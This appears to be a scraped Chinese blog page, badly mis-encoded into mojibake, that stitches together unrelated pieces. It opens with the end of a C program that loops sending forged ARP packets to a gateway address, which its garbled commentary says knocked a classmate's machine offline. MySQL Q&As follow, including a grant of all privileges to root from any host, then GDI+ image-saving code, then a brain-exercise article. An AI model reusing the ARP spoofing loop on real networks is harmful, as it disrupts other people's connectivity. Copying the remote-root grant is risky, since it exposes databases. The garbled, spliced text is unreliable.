聽聽arpPacket.eth_arp.arp_tha[2]=0x00;
聽聽arpPacket.eth_arp.arp_tha[3]=0x00;
聽聽arpPacket.eth_arp.arp_tha[4]=0x00;
聽聽arpPacket.eth_arp.arp_tha[5]=0x00;
聽聽arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");聽聽聽//緗戝叧IP
聽聽聽聽聽聽聽聽printf("%d\n",sizeof(arpPacket));
聽聽memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));聽聽
聽聽PacketInitPacket(lpPacket,szPktBuf,60);聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽
聽聽聽聽聽聽聽聽while(getchar()!='q')聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//褰撹緭鍏ヤ負q鏃剁粨鏉?br />聽聽{
聽聽聽聽聽聽聽聽if(PacketSendPacket(lpAdapter,lpPacket,true)==false)聽聽//涓嶆柇鍙戦佷吉閫犱俊鎭紝灝嗙洰鏍囩殑姝g‘
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽//ARP聽REQUEST娣規病
聽聽聽聽{
聽聽聽聽聽聽聽聽printf("error聽in聽sending聽packet");
聽聽聽聽聽聽聽聽return聽-1;
聽聽聽聽}
聽聽}
聽聽printf("send聽ok");
聽聽PacketFreePacket(lpPacket);聽聽聽聽聽聽聽聽//涓鐐規壂灝劇殑宸ヤ綔
聽聽PacketCloseAdapter(lpAdapter);
聽聽聽聽return聽1;
}
濂戒簡錛岃繖涓紓甯哥畝闄嬬殑紼嬪簭緇撴潫浜嗭紝鎴戝鎴戜滑鍐呴儴緗戠殑鏌愬悓瀛︽祴璇曡繃錛屽綋鎴戠▼搴忓惎鍔ㄤ笉涔咃紝鍘諱粬瀵濆鐪嬶紝浠栧凡
緇忔帀綰夸簡錛岃屼粬鐨凙ntiArpSniffer鍗存病鏈夋姤璀︼紝鍛靛懙榪欒鏄庢敾鍑誨緢鎴愬姛~銆?br />褰撶劧瑕佽鏄庣殑涓鐐規槸錛岃繖涓笢瑗垮畬鍏ㄦ槸鐮旂┒瀛︿範鐢紝娌℃湁鎭舵剰錛屼篃甯屾湜澶у涓嶈闅忎究瀵瑰埆浜哄仛鍧忎簨錛屾仼鎭╋紝涓?br />
浜嗗涔犵爺絀剁殑鐩殑褰撶劧鍙互鍋氫竴涓嬪疄楠岋紝浣嗕笉瑕佸お鏈夌牬鍧忔у摝~錛堝鏋滀綘鎯寵涓緹ゆ劋鎬掔殑緹や紬鐥涙墦錛岄偅鎴戜篃娌¤瘽
璇?..)銆傚彲鎬滀簡鎴戦偅浣嶅疄楠屽璞÷?..鎵句釜鏈轟細璇蜂粬鍚冧釜楗惂~
]]>
Q:鏌ユ眽瀛楀嚭閿欐槸浠涔堝師鍥狅紵
A: 鍙互閲囧彇浠ヤ笅鍑犵鏂規硶銆?br />聽聽聽(1).鍦ㄥ畨瑁卪ysql鏃墮夋敮鎸佷腑鏂?_gb2312)銆?br />聽聽聽錛?錛夊湪紼嬪簭閲屽彲鐢ㄦ敮鎸佷腑鏂囩殑鎿嶄綔銆傚瀛楁username.鍙互鍐欐垚
聽聽聽聽聽聽聽聽聽聽 username like _gb2312 'basecolor' collate gb2312_chinese_ci
聽聽聽聽聽聽聽聽聽鎴栧姞鏉?set names 'gbk'"
聽聽聽(3)銆傛敼鑴氭湰mysql.ini閲宭atin鏀規垚gb2312
Q:MYSQL鍑虹幇access denied for user 'odbc'@'localhost' (using password:YES)
鎴戠敤鍛戒護鎻愮ず絎﹁繘鍘伙紝鍘昏繛鎺YSQL鏁版嵁搴擄紝鐢ㄤ簡MYSQL -P瀵嗙爜錛涘氨鏄細鍑虹幇榪欎釜鎻愮ず錛岃闂庝箞瑙e喅
A:windows涓媎os榛樿鐨勭敤鎴鋒槸odbc錛屼絾鏄湪mysql閲屽茍娌℃湁odbc榪欎釜鐢ㄦ埛錛屾墍浠ュ嚭閿欙紝浣犳敼鎴恗ysql -uroot -p 榪欐牱灝卞彲浠ヤ簡,榪欓噷浣跨敤浜唕oot鐢ㄦ埛錛屽綋鐒朵綘涔熷彲浠ヤ嬌鐢ㄥ叾瀹冪殑鐢ㄦ埛錛屼絾鏄墠鎻愭槸瀹冩湁鏈湴鐧誨綍鐨勬潈闄愩?br />
Q錛?br />閲嶈緋葷粺涔嬪悗mysql灝變笉鑳界敤浜嗭紝鍚庢潵閲嶈mysql緇撴灉榪樻槸涓嶈兘鐢紝鏄粈涔堝師鍥狅紵
A錛?br />閲嶈mysql闇鎶婁互鍓嶆棫鐨勭洰褰曟墜宸ュ垹闄ゃ?br />
Q:
mysql_real_connect(&mysql,"127.0.0.1",user,psw,DB,MYSQL_PORT,NULL,0)))鏃惰繛鎺ユ甯搞?br />褰撴敼鎴愬涓?br />mysql_real_connect(&mysql,"192.168.0.1",user,psw,DB,MYSQL_PORT,NULL,0)))
鍑洪敊銆傚嚭閿欎俊鎭負錛?HY000Host 'null' is not allowed to connect to this Mysql server
int error=mysql_errno(&mysql);error=1130;
A:
鍏堟巿鏉冨厑璁竚ysql浠庝換浣曚富鏈轟笂榪炴帴錛岀湅鐪嬭涓嶈錛?br />mysql>grant all on *.* to 'root'@'%' identified by 'password';
mysql>flush privileges;
濡傛灉榪樻槸涓嶈錛屼綘灝辨妸鎵鏈夌殑鍖垮悕鐢ㄦ埛閮藉垹闄?br />mysql>use mysql;
mysql>delete from user where user='';
mysql>flush privileges;
------
鏈夌敤鎴峰悕鐨勬椂鍊欙細
棣栧厛浣犺紜畾浣犵殑mysql鏈夋病鏈?prince886'榪欎釜鐢ㄦ埛錛屽畠鍏佷笉鍏佽榪滅▼鐧誨綍錛?br />瑙e喅鏂規硶錛歮ysql>grant all on *.* to 'prince886'@'%' identified by 'password';
聽聽聽聽聽聽聽聽聽 mysql>flush privileges;
鍙﹀錛屼笂闈㈣祴浜庣殑鏉冮檺寰堝ぇ錛屽彲鑳戒細寮曡搗瀹夊叏闂錛屽畠鐨勬剰鎬濇槸鍏佽prince886榪欎釜鐢ㄦ埛浠庝換浣曞湴鏂圭櫥褰曪紝鍙互嫻忚錛屼慨鏀逛換浣曟暟鎹簱
Q:
鎬庢牱瀹炵幇涓変釜琛ㄧ殑鏌ユ壘?
A:
select t.id1,ifnull(t1.name1,''),t.id2,ifnull(t2.name2,'') from t LEFT join t1 on t.id1=t1.id1 left join t2 ON t.id2=t2.id2;
Q:
涓嶅仠鐨勫悜鏁版嵁璇誨啓鎿嶄綔鐨勬椂鍊欙紝浼氬嚭鐜板唴瀛樹笉瓚籌紵
A錛?br />紼嬪簭鎿嶄綔鐨勬椂鍊欐病鏈夐噴鏀炬煡璇㈢殑緇撴灉闆嗭紝瀵艱嚧鍐呭瓨涓嶈凍銆傞』閲婃斁姣忔鏌ヨ鐨勭粨鏋滈泦銆?br />
Q:
鏌ヨ〃鍑虹幇"mysql server has gone away"鏄粈涔堬紵
A:
濡傛灉浠g爜娌¢棶棰橈紝閭d箞鏈澶х殑鍙兘灝辨槸鏁版嵁搴撶殑wait_timeout鐨勫師鍥狅紝mysql鐨勯粯璁ょ瓑寰呮椂闂存槸8灝忔椂錛屽鏋?涓皬鏃朵箣鍚庢暟鎹簱榪樻槸絀洪棽鐨勶紝鍒欎細鍏蟲帀銆傛墍浠ュ綋浣犲啀嬈¤鍐欐暟鎹簱鐨勬椂鍊欏氨浼氬嚭鐜頒笂闈㈢殑鎻愮ず銆?/p>
]]>
#include聽聽 <Objbase.h>聽聽
#include聽聽 <Windows.h>聽聽
#include聽聽 <Gdiplus.h>聽聽
#include聽聽 <GdiPlusEnums.h>聽聽
using聽聽 namespace聽聽 Gdiplus;聽聽
#pragma聽聽 comment(lib,"gdiplus")聽聽
int聽聽 GetCodecClsid(const聽聽 WCHAR*,聽聽 CLSID*);聽聽
HRESULT聽聽 __fastcall聽聽 AnsiToUnicode(LPCSTR聽聽 pszA,聽聽 LPOLESTR*聽聽 ppszW)聽聽
{聽聽
聽ULONG聽聽 cCharacters;聽聽
聽DWORD聽聽 dwError;聽聽
聽if聽聽 (NULL聽聽 ==聽聽 pszA)聽聽
聽{聽聽
聽聽*ppszW聽聽 =聽聽 NULL;聽聽
聽聽return聽聽 NOERROR;聽聽
聽}聽聽
聽cCharacters聽聽 =聽聽聽聽 strlen(pszA)+1;聽聽
聽*ppszW聽聽 =聽聽 (LPOLESTR)聽聽 CoTaskMemAlloc(cCharacters*2);聽聽
聽if聽聽 (NULL聽聽 ==聽聽 *ppszW)聽聽
聽聽return聽聽 E_OUTOFMEMORY;聽聽
聽if聽聽 (0聽聽 ==聽聽 MultiByteToWideChar(CP_ACP,聽聽 0,聽聽 pszA,聽聽 cCharacters,*ppszW,聽聽 cCharacters))聽聽
聽{聽聽
聽聽dwError聽聽 =聽聽 GetLastError();聽聽
聽聽CoTaskMemFree(*ppszW);聽聽
聽聽*ppszW聽聽 =聽聽 NULL;聽聽
聽聽return聽聽 HRESULT_FROM_WIN32(dwError);聽聽
聽}聽聽
聽return聽聽 NOERROR;聽聽
}聽聽
int聽聽 main()
{聽聽
聽int聽聽 n_ret=0;聽聽
聽
聽char *pic[2]={NULL,NULL};
聽pic[0]=new char [128];
聽pic[1]=new char[128];
聽sprintf(pic[0],"ok.gif");
聽sprintf(pic[1],"shangcheng_1.bmp");//"default.gif");
聽GdiplusStartupInput聽聽 gdiplusStartupInput;聽聽聽聽
聽ULONG聽聽 gdiplusToken;聽聽聽聽
聽GdiplusStartup(&gdiplusToken,聽聽 &gdiplusStartupInput,聽聽 NULL);聽聽聽聽
聽{聽聽
聽聽CLSID聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 codecClsid;聽聽
聽聽Status聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 stat;聽聽
聽聽EncoderParameters聽聽聽聽 encoderParameters;聽聽
聽聽GetCodecClsid(L"image/gif",聽聽 &codecClsid);聽聽
聽聽encoderParameters.Count聽聽 =聽聽 0;聽聽
聽聽LPOLESTR聽聽 bstr_src_img;聽聽
聽聽LPOLESTR聽聽 bstr_dst_fn;聽聽
聽聽AnsiToUnicode(pic[0],&bstr_dst_fn);聽聽
聽聽AnsiToUnicode(pic[1],&bstr_src_img);聽聽
聽聽Image聽聽 image(bstr_src_img);聽聽
聽聽stat聽聽 =image.Save(bstr_dst_fn,聽聽 &codecClsid,聽聽 &encoderParameters);聽聽
聽聽if(stat聽聽 ==聽聽 Ok)聽聽
聽聽{聽聽
聽聽聽n_ret=0;聽聽
聽聽聽wprintf(L"%s聽聽 saved聽聽 successfully.\n",bstr_dst_fn);聽聽
聽聽}聽聽
聽聽else聽聽
聽聽{聽聽
聽聽聽n_ret=-2;聽聽
聽聽聽wprintf(L"%d聽聽聽聽 Attempt聽聽 to聽聽 save聽聽 %s聽聽 failed.\n",聽聽 stat,聽聽 bstr_dst_fn);聽聽
聽聽}聽聽
聽聽CoTaskMemFree(bstr_dst_fn);聽聽
聽聽CoTaskMemFree(bstr_src_img);聽聽
聽}聽聽
聽GdiplusShutdown(gdiplusToken);聽聽
聽return聽聽 0;聽聽
}
int聽聽 GetCodecClsid(const聽聽 WCHAR*聽聽 format,聽聽 CLSID*聽聽 pClsid)聽聽
{聽聽
聽UINT聽聽聽聽 num聽聽 =聽聽 0;聽
聽UINT聽聽聽聽 size聽聽 =聽聽 0;聽
聽ImageCodecInfo*聽聽 pImageCodecInfo聽聽 =聽聽 NULL;聽聽聽
聽GetImageEncodersSize(&num,聽聽 &size);聽聽
聽if(size聽聽 ==聽聽 0)聽聽
聽聽return聽聽 -1;聽聽聽聽
聽pImageCodecInfo聽聽 =聽聽 (ImageCodecInfo*)(malloc(size));聽聽
聽if(pImageCodecInfo聽聽 ==聽聽 NULL)聽聽
聽聽return聽聽 -1;聽聽
聽GetImageEncoders(num,聽聽 size,聽聽 pImageCodecInfo);聽聽
聽聽for(UINT聽聽 j聽聽 =聽聽 0;聽聽 j聽聽 <聽聽 num;聽聽 ++j)聽聽
聽{聽聽
聽聽if(聽聽 wcscmp(pImageCodecInfo[j].MimeType,聽聽 format)聽聽 ==聽聽 0聽聽 )聽聽
聽聽{聽聽
聽聽聽*pClsid聽聽 =聽聽 pImageCodecInfo[j].Clsid;聽聽
聽聽聽return聽聽 j;聽
聽聽聽}聽聽聽聽聽聽聽聽聽聽
聽}聽
聽return聽聽 -1;聽
}
銆銆鍑虹杞﹀徃鏈虹殑澶ц剳灝辨槸涓涓吀鍨嬬殑渚嬪瓙銆傜啛鎮夊綋鍦板悇鏉¤閬撶殑鍑虹杞﹀徃鏈猴紝浠栦滑鐨勬搗椹澶т簬鏅氫漢銆傝繖涓粨璁烘槸鑻卞浗浼︽暒澶у鐨勭緇忓瀹跺焹鑾夎路鐜涘綊灝旈氳繃紓佸叡鎸妧鏈瘉瀹炵殑銆傚嚭縐熻濺鍙告満鐨勬搗椹壒鍒彂杈撅紝鏄洜涓轟粬浠渶瑕佷笉鍋滃湴鍔姏紜畾鑷繁鎵澶勭殑鏂逛綅錛屼嬌嫻烽┈鍖哄緱鍒頒簡閿葷偧銆?/p>
銆銆紲炵粡涔嬮棿鐨勮仈緋?/p>
銆銆鍙︿竴鏂歸潰錛岀爺絀朵漢鍛樿繕鍙戠幇錛岄殢鐫騫撮緞鐨勫闀匡紝澶ц剳鐨勫姛鑳藉嚭鐜拌“鑰佺殑鍘熷洜涓嶅儚鏄敱浜庤剳緇嗚優鐨勯愭笎姝諱骸閫犳垚鐨勶紝鑰屾槸鐢變簬鑴戠粏鑳炰箣闂磋仈緋葷殑鍑忓急寮曡搗鐨勩傚洜涓烘洿灝戝湴浣跨敤澶ц剳浠ュ強琛拌佷嬌寰楀湪鑴戠粏鑳炰箣闂翠紶閫掍俊鎭殑紲炵粡綰ょ淮钀庣緝銆?/p>
銆銆浜轟綋鍐呯殑澶╃劧钀ュ吇鐗╄川鈥斺旂緇忚惀鍏葷礌鏈夊埄浜庤繖浜涚緇忕氦緇寸殑鐢熼暱銆傚鏋滅緇忕氦緇村彈鍒板埡嬋錛屽氨浼氬彉澶у彉澶氾紝紲炵粡涔嬮棿鐨勮繛鎺ョ偣鍗崇緇忛敭涔熶細澧炲姞錛屼粠鑰屽姞蹇埡嬋鐨勪紶閫掗熷害銆備絾鏄紝鐢卞ぇ鑴戜駭鐢熺殑紲炵粡钀ュ吇绱犵殑鏁伴噺鍙栧喅浜庢椿鍔ㄧ殑綾誨瀷銆備笓闂ㄨ繘琛岀殑鐮旂┒琛ㄦ槑錛屾劅瀹樺埡嬋浼氬垱閫犳柊鐨勭緇忓伐浣滄ā寮忥紝鍙互淇冧嬌浜х敓鏇村鐨勭緇忚惀鍏葷礌銆傛崲鍙ヨ瘽璇達紝淇冭繘鈥滆剳緇嗚優涔嬮棿鐨勮仈緋燴濆氨鑳藉姞寮哄拰淇濇寔鏅哄姏銆傛瘮濡傦紝涓欏瑰鐢鋒潅鎶婕斿憳鎵鍋氱殑瀹為獙涓紝鍙備笌浜嗘潅鎶榪愬姩鎺у埗鐨勮繍鍔ㄧ毊灞傞儴鍒嗕細寰楀埌鍏呭垎鍙戝睍錛屽茍涓旇繕鍙兘閲嶆柊鎵撳紑閭d簺騫蟲椂寰堝皯琚嬌鐢ㄧ殑紲炵粡銆傝繖鎰忓懗鐫鏉傛妧榪愬姩鍙互澧炲己澶ц剳鐨勬煇浜涘姛鑳姐?
銆銆鑳藉浣垮ぇ鑴戦噰鍙栨柊鐨勮繍鍔ㄥ崗璋冨艦寮忕殑琛屼箣鏈夋晥鐨勬柟寮忓氨鏄煶涔愩備絾鏄紝濡傛灉璇翠換浣曚竴縐嶇幆澧冨埡嬋閮借兘澶熸敼鍠勫ぇ鑴戝彲濉戞х殑璇濓紝紲炵粡鎿嶅垯鍙細闆嗕腑浜庢煇鍑犵被鐗瑰埆鐨勫埡嬋褰㈠紡銆傚崱鑼ㄨВ閲婅錛氣滅緇忔搷鍙互璁╀簲瀹樻劅瑙夊悓鏃惰搗浣滅敤錛屼互鏂扮殑褰㈠紡澧炲己澶ц剳鍦ㄤ笉鍚岀被鍨嬩俊鎭箣闂村垱寤鴻繛鎺ョ殑鑷劧鑳藉姏銆傗濅漢綾葷敓鐞嗗鏁欐巿瀹変笢灝煎ゥ路椹皵鍔犵綏灝艱〃紺猴細鈥滄垜浠竴鐩撮兘鐭ラ亾錛岄氳繃涓嶅悓鐨勬椿鍔紝鍙互鏀瑰彉澶ц剳涓や釜涓嶅悓鍖哄煙涔嬮棿鐨勮仈緋匯傛渶钁楀悕鐨勪緥瀛愭槸宸寸敨媧涘か鐨勫疄楠屻傚鏋滀竴寮濮嬪皢椋熺墿鐨勫嚭鐜頒笌閾冨0鑱旂郴璧鋒潵錛岀嫍灝變細浜х敓鍞炬恫鍒嗘硨鍙嶅簲銆傚洜姝わ紝涓や釜璺濈寰堣繙鐨勫ぇ鑴戝尯鍩熷氨鍚屾椂琚縺媧匯備粠姝ょ瀛︾晫寮濮嬩簡瀵硅涓鴻鍒欑殑鐮旂┒錛岀洰鐨勬槸鏇村ソ鍦板紑鍙戝ぇ鑴戠殑娼滃姏銆傚疄闄呬笂錛屽畠寮曞鐫鎴戜滑瓚嬪悜鍏磋叮騫挎硾銆佷赴瀵屽褰╃殑鐢熸椿錛屼互嬋鍙戣繖縐嶈壇鎬у驚鐜紝鑰岃繖闇瑕佹洿澶氱殑鎶曞叆銆佸姫鍔涗互鍙婃剰璇嗘椿鍔ㄣ傗?/p>
銆銆紲炵粡鎿嶆墍鏈夌殑鎰忎箟閮藉湪浜庢棩甯哥敓媧葷殑絳栫暐銆傝繖欏瑰垱鏂頒嬌鎴戜滑寰椾互閲嶆柊璁よ瘑紲炵粡緋葷粺銆傚畠涓庢瘡涓涓剰澶栦簨浠跺彂鐢熶綔鐢紝涓庢瀵瑰簲鐨勫ぇ鑴戝尯鍩熺殑鐨眰媧誨姩灝變細闅忎箣澧炲姞銆傜緇忚嬋媧伙紝浼犲鐫紲炵粡鍒猴紝鍦ㄥ畠浠箣闂翠駭鐢熶簡鏂扮殑鑱旂郴錛屼粠鑰屼駭鐢熶簡鐝嶈吹鐨勭緇忚惀鍏葷礌銆?/p>
銆銆鎵撶牬甯歌
銆銆鍝簺鏂伴矞浜嬬墿鑳藉鎻愪緵姝g‘鐨勫埡嬋鍛紵紲炵粡鎿嶇殑絎竴鏉¤鍒欏氨鏄墦鐮村父瑙勩傜劧鑰岋紝浠呬粎鐢遍挗絎斿啓瀛楀彉鎴愰搮絎斿啓瀛楁槸涓嶅鐨勶紝鐪熸鐨勫彉鍖栨槸鎹竴鍙墜鏉ュ啓銆傚崱鑼ㄥ皢榪欎簺璁粌鏂瑰紡鎬葷粨涓轟笁澶р滃熀鏈緩璁濓細
銆銆1.鍦ㄦ柊鐨勭幆澧冧腑灝嗕竴縐嶆垨澶氱鎰熻緇撳悎璧鋒潵錛屾垨灝藉彲鑳藉皯鍦頒緷闈犳儻甯哥殑鎰熻銆傛瘮濡傞棴涓婄溂鐫涙穻嫻淬?/p>
銆銆2.闆嗕腑娉ㄦ剰鍔涳紝浠庨噸澶嶇殑鐞愪簨涓В鑴卞嚭鏉ワ紝璁╁ぇ鑴戜繚鎸佸湪璀︽儠鐨勭姸鎬併傛瘮濡傚皢鎴塊棿鐨勭収鐗囬鍊掓斁緗紝榪欑鍒烘縺浼氬ぇ澶у姞寮鴻蹇嗗姏銆?/p>
銆銆3.閬垮厤鍗曡皟鐨勪簨浠躲備緥濡傦紝鍙互緇忓父鍙樻崲涓嶅悓鐨勮礬綰垮幓涓婂鎴栦笂鐝?/p>
銆銆鍏跺疄錛屾х敓媧繪槸鏈濂界殑紲炵粡鎿嶉敾鐐鹼紝瀹冩瘮鍏朵粬浠諱綍甯歌媧誨姩閮借濂姐傚湪鎬х敓媧諱腑錛屾墍鏈夌殑浜斿畼鎰熻閮藉弬涓庝簡榪涙潵錛岄兘寰楀埌浜嗗埄鐢紝澶уぇ嬋鍙戜簡澶ц剳鐨勬儏緇驚鐜備絾鏌愪簺紲炵粡縐戝瀹跺嵈瀵硅繖浜涜緇冩柟寮忓棨涔嬩互榧匯傛剰澶у埄鐢熺墿蹇冪悊瀛︽暀鎺堥樋灝斾集鐗孤峰ゥ鍒╃淮閲屽ゥ璁や負錛氣滄墍鏈夎兘璁╁ぇ鑴戜繚鎸佹晥鐜囩殑鏂瑰紡閮芥槸濂界殑銆傛墦鐮村父瑙勫浐鐒舵湁鐢紝浣嗛伩鍏嶅帇鍔涖佹墦涓灞淇濋緞鐞冩垨鑰呰В寮鏌愪釜濉瓧娓告垙涔熶竴鏍瘋搗浣滅敤銆傗?/p>
銆銆涓嶅悓鐨勫0闊?/p>
銆銆濡傛灉灝辯緇忔搷鐨勯儴鍒嗙瀛﹀熀紜榪涜璁ㄨ錛屼篃鏈変漢璁や負紲炵粡鐨勫彲濉戞х幇璞″皻寰呰瘉瀹炪傜緇忓尰瀛︿笓瀹跺紬鏈楄タ鏂路鎽╃撼鍝ュ氨璁や負錛氣滃崱鑼ㄧ殑鍔炴硶鍜屼竴鑸尰瀛︿笂閲囩敤鐨勫悍澶嶆墜孌墊病鏈夊緢澶у尯鍒傚湪鏁欏涓浣嶅崐韜笉閬傜殑鎮h呴敾鐐鹼紝浠庤屾仮澶嶅叾澶卞幓鐨勫姛鑳芥椂錛屾垜浠茍涓嶈兘鍑嗙‘鐭ラ亾鍦ㄤ粬鐨勫ぇ鑴戜腑鍙戠敓浜嗕粈涔堛傗濆疄闄呬笂錛岀緇忔搷鐨勫師鍒欏湪涓鐥囨偅鑰呬腑涔熷彲浠ユ壘鍒板疄闄呯殑搴旂敤銆傞┈灝斿姞緗楀凹璇達細鈥滃鏋滄煇浣嶆偅鑰呯殑涓鍙墜鑷傜槴鐥簡錛屾垜浠彲浠ユ妸浠栧仴搴風殑鎵嬭噦涔熷浐瀹氳搗鏉ャ傝繖鏍鳳紝閫氳繃鎮h呬笉鏂悜鎮g梾鐨勬墜鑷傚彂鍑虹殑紲炵粡鍒烘縺錛屾湁鍒╀簬灝藉揩搴峰銆傚浜庤蹇嗗拰鏅哄姏錛屼篃浼氫駭鐢熷悓鏍風殑緇撴灉錛氫笉鏂噸澶嶄嬌鐢ㄥ氨浼氭敼鍠勩傗濊屾渶寮曡搗浜夎鐨勬槸錛岀緇忔搷鏄惁鑳藉寤剁紦紲炵粡琛伴鎬х柧鐥?濡傞樋灝旇尐嫻烽粯姘忕棁)鐨勫彂鐢熴傚ゥ鍒╃淮閲屽ゥ璁や負錛屾湁涓浜涚粺璁℃暟鎹彲浠ユ敮鎸佽繖縐嶅亣璁撅細鍦ㄨ剳鍔涘伐浣滆呬腑鍑虹幇闃垮皵鑼ㄦ搗榛樻皬鐥囩殑鏈轟細瑕佸皬浜庝綋鍔涘伐浣滆咃紝榪欏彲鑳芥槸鍥犱負鑴戝姏鍔沖姩鑰呯殑澶ц剳甯稿父澶勪簬媧昏穬鐨勭姸鎬併傜洰鍓嶏紝涓緇勭瀛﹀姝e涓浜涙湁璇ョ柧鐥呴仐浼犲熀鍥犵殑鑰侀紶榪涜瀹為獙銆備粬浠揩浣胯繖浜涜侀紶榪囨洿蹇欑鐨勭敓媧伙紝浣垮畠浠誨浜庢椿璺冪殑鐘舵併傜爺絀朵漢鍛樿〃紺猴紝瑕佽皥瀹為獙鐨勭粨鏋滀負鏃跺皻鏃╋紝浣嗕粬浠潥淇★紝涓庢甯哥敓媧葷殑鍔ㄧ墿鐩告瘮錛屽畠浠殑鐘舵佷竴瀹氫細鏈夋墍鏀瑰杽銆?/p>
銆銆瀹為檯涓婏紝瑕佽幏寰楀疄鏁堟墍闇鐨勬渶灝戣緇冮噺榪樻槸涓湭鐭ュ洜绱犮傛澶栬繕瑕佽冭檻鍒幫紝浜轟笌浜轟箣闂寸敱浜庝紬澶氬洜绱狅紝姣斿騫撮緞銆侀仐浼犲熀鍥犵瓑絳夛紝鎵鍙栧緱鐨勬晥鏋滀篃鏄笉涓鏍風殑銆?/p>
銆銆鍋ヨ剳榪愬姩
銆銆椹笂琛屽姩鍚э紒涓嶈鏄湪鏃呰榪樻槸鍦ㄥ伐浣滄垨鑰呭湪瀹朵腑錛屼換浣曞湴鐐逛換浣曟椂鍊欓兘鍙互寰堝ソ鍦伴敾鐐煎ぇ鑴戙備笅闈㈠氨鏄浣犵殑寤鴻銆傝閫氳繃榪欓噷浠嬬粛鐨?1縐嶅姙娉曞皢紲炵粡鎿嶇湡姝h瀺榪涗綘鐨勭敓媧匯?/p>
銆銆紲炵粡鎿嶆鎴愪負浜轟滑鐨勪竴縐嶁滅敓媧繪柟寮忊濄傚畠涓嶉渶瑕侀噰鐢ㄥ悓鏍風殑閿葷偧鏂規硶錛岃屾槸鎻愬′笉鏂湴鍙樻崲銆傚鏋滃湪鏌愭鏃墮棿浣犻噰鍙栦簡鏌愮閿葷偧鏂瑰紡鐨勮瘽錛岄偅榪囨鏃墮棿灝卞簲璇ユ崲鍙︿竴縐嶏紝鐒跺悗榪樺彲浠ュ皢瀹冧滑娣峰悎璧鋒潵銆傛渶濂戒笉瑕佹妸榪欎簺閿葷偧鍙樻垚涓縐嶆儻渚嬶紝涓嶈鏀懼純濉瓧娓告垙銆侀槄璇誨拰鍏呮弧嬋鎯呯殑浜洪檯浜ゅ線銆佹梾琛屻備竴鏃﹀浼氫簡紲炵粡鎿嶏紝姣忎釜浜洪兘浼氬彂鏄庨傚悎鑷繁鐨勯敾鐐兼柟娉曘?/p>
銆銆褰撶劧錛屽鏋滀漢浠煡閬撻傚綋鐨勮妭椋熴佸厖瓚崇殑鐫$湢浠ュ強浣撹偛閿葷偧閮藉彲浠ュ鍔犲ぇ鑴戠緇忚繛鎺ユ暟閲忥紝浠庤屽寮鴻蹇嗗姏鍜屾帹鐞嗚兘鍔涚殑璇濓紝鍙兘寰堝浜洪兘浼氭嫢鏈夌伒媧葷殑澶ц剳浜嗐?/p>
銆銆鍦ㄥ閲?/p>
銆銆1.闂笂鐪肩潧鎸戦夎。鏈嶃侀瀷鍜岄楗幫紝鍔姏閫氳繃瑙︽懜鏉ュ垎杈ㄥ畠浠備笉浠呬嬌鐢ㄦ墜鎸囷紝榪樿浣跨敤鑴擱錛屾墜鑷傚拰鑴氾紝韜綋鐨勬瘡涓閮ㄥ垎閮芥湁鐩稿綋鐏墊晱鐨勭緇忔湯姊€傛墍浠ワ紝鍙互灝介噺闂笂鐪肩潧絀胯。鏈嶃?/p>
銆銆2.鍙嶆墜鎵撳紑鐗欒啅鐩栵紝鍚戠墮鍒蜂笂鎸ょ墮鑶忥紝鍒風墮銆?/p>
銆銆3.灝嗘埧闂村澹佷笂鎸傜潃鐨勭収鐗囧拰瑁呴グ鐢誨掕繃鏉ャ?/p>
銆銆鍦ㄩ斾腑
銆銆1.緇忓父鍙樻崲涓嶅悓鐨勮礬綰垮幓涓婄彮銆傚寮杞︺佽蛋璺垨鍧愬叕鍏辨苯杞﹂兘閫傜敤銆?/p>
銆銆2.閿葷偧瑙﹁銆傚湪姹借濺鐨勫偍鐗╄涓悂涓浜涚‖甯侊紝絳夌孩鐏椂錛屽皾璇曚粎鐢ㄨЕ鎽哥殑鏂瑰紡鍒嗚鯨瀹冧滑銆備篃鍙互鎹㈡垚鍏朵粬鐨勫皬鐗╀歡榪涜緇冧範銆?/p>
銆銆鍦ㄥ姙鍏閲?/p>
銆銆1.鎶婂姙鍏涓婄殑涓滆タ鎹釜浣嶇疆錛屼粠鐢佃剳鐨勯紶鏍囧埌鐓х墖錛屼粠鐢佃瘽鍒扮瀛楃瑪銆傚皢鎵嬭〃鎴村湪鍙︿竴鍙墜鑷備笂銆?/p>
銆銆2.鑷敱璁ㄨ銆傚鏋滆鍜屽悓浜嬩竴璧瘋В鍐蟲煇涓棶棰橈紝璁炬兂騫惰褰曚笅涓鍒囧彲鑳界殑鏂規銆傜劧鍚庢瘮杈冨悇涓柟妗堬紝浣滃嚭閫夋嫨銆?/p>
銆銆鍦ㄩ妗屼笂
銆銆1.鍏蟲帀闊沖搷鍜岀數瑙嗭紝涓庝竴鍚岀敤槨愮殑瀹朵漢鎴栨湅鍙嬭交杞諱氦璋堛傛垨鑰呭湪緇濆瀹夐潤鐨勭幆澧冧笅灝遍錛岀敋鑷沖彲浠ラ棴涓婄溂鐫涘拃鍤奸鐗╋紝灝嗘敞鎰忓姏瀹屽叏闆嗕腑鍦ㄤ韓鍙楃編椋熶笂銆?/p>
銆銆2.鏇存崲搴т綅銆傚湪瀹墮噷銆侀鍫傛垨槨愬巺閲岋紝鏃犺鏄綘榪樻槸鍏朵粬浜猴紝涓嶈淇濇寔鍥哄畾鐨勪綅緗傜幆澧冩垨鑰呮槸椋熺墿錛岄兘瑕佽鑷繁鍦ㄥ氨槨愮殑鏃跺欐湁鏂伴矞鎰熴?/p>
銆銆鍦ㄥ亣鏃ユ垨絀洪棽鏃?/p>
銆銆1.鍘諱綘浠庢病鍘昏繃鐨勫湴鏂廣備笉瑕佹誨鎵炬渶鐔熸倝鐨勫湴鏂廣傝涓誨姩鍘繪劅鍙椾笉鍚屽湴鏂圭殑涓嶅悓鏅壊鍜屼笉鍚屾皵鎭?/p>
